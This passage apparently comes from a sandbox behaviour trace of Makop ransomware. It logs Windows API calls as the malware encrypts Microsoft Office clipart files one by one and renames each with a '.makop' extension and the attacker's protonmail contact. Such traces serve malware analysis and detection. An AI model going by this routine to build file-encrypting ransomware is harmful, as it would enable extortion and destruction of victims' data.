lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.166] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.166] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.166] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.166] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x674, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x674, lpOverlapped=0x0) returned 1 [0125.166] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x680, dwBufLen=0x680 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x680) returned 1 [0125.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.166] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x680, lpOverlapped=0x0) returned 1 [0125.166] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.167] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.167] SetEndOfFile (hFile=0xf0) returned 1 [0125.175] GetProcessHeap () returned 0x48a0000 [0125.175] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.175] GetProcessHeap () returned 0x48a0000 [0125.175] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.175] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.176] CloseHandle (hObject=0xf0) returned 1 [0125.177] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1 [0125.177] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0125.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.177] GetProcessHeap () returned 0x48a0000 [0125.178] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.178] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.178] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.178] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.182] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.182] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.182] GetProcessHeap () returned 0x48a0000 [0125.183] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.183] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.183] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.183] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.183] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.183] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.184] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.184] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.184] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.184] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x132c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x132c, lpOverlapped=0x0) returned 1 [0125.186] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1330, dwBufLen=0x1330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1330) returned 1 [0125.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1330, lpOverlapped=0x0) returned 1 [0125.186] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.186] SetEndOfFile (hFile=0xf0) returned 1 [0125.193] GetProcessHeap () returned 0x48a0000 [0125.193] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.193] GetProcessHeap () returned 0x48a0000 [0125.193] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.193] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.195] CloseHandle (hObject=0xf0) returned 1 [0125.195] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1 [0125.195] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0125.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.196] GetProcessHeap () returned 0x48a0000 [0125.196] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.196] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.196] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.201] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.201] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.201] GetProcessHeap () returned 0x48a0000 [0125.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.201] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.201] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.202] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.202] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.202] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.203] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.203] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.203] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.203] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11e4, lpOverlapped=0x0) returned 1 [0125.205] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11f0, dwBufLen=0x11f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11f0) returned 1 [0125.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.205] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11f0, lpOverlapped=0x0) returned 1 [0125.206] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.206] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.206] SetEndOfFile (hFile=0xf0) returned 1 [0125.212] GetProcessHeap () returned 0x48a0000 [0125.212] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.213] GetProcessHeap () returned 0x48a0000 [0125.213] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.213] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.213] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.214] CloseHandle (hObject=0xf0) returned 1 [0125.215] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1 [0125.216] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0125.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.217] GetProcessHeap () returned 0x48a0000 [0125.217] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.217] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.217] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.217] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.222] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.222] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.222] GetProcessHeap () returned 0x48a0000 [0125.222] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.222] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.222] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.222] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.222] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.222] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.223] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.223] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.223] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.223] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.223] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b6c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b6c, lpOverlapped=0x0) returned 1 [0125.225] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b70) returned 1 [0125.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.225] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b70, lpOverlapped=0x0) returned 1 [0125.226] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.226] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.226] SetEndOfFile (hFile=0xf0) returned 1 [0125.233] GetProcessHeap () returned 0x48a0000 [0125.233] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.233] GetProcessHeap () returned 0x48a0000 [0125.233] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.233] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.235] CloseHandle (hObject=0xf0) returned 1 [0125.235] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1 [0125.235] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0125.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.237] GetProcessHeap () returned 0x48a0000 [0125.237] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.237] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.237] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.237] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.242] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.242] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.242] GetProcessHeap () returned 0x48a0000 [0125.242] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.242] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.242] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.242] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, 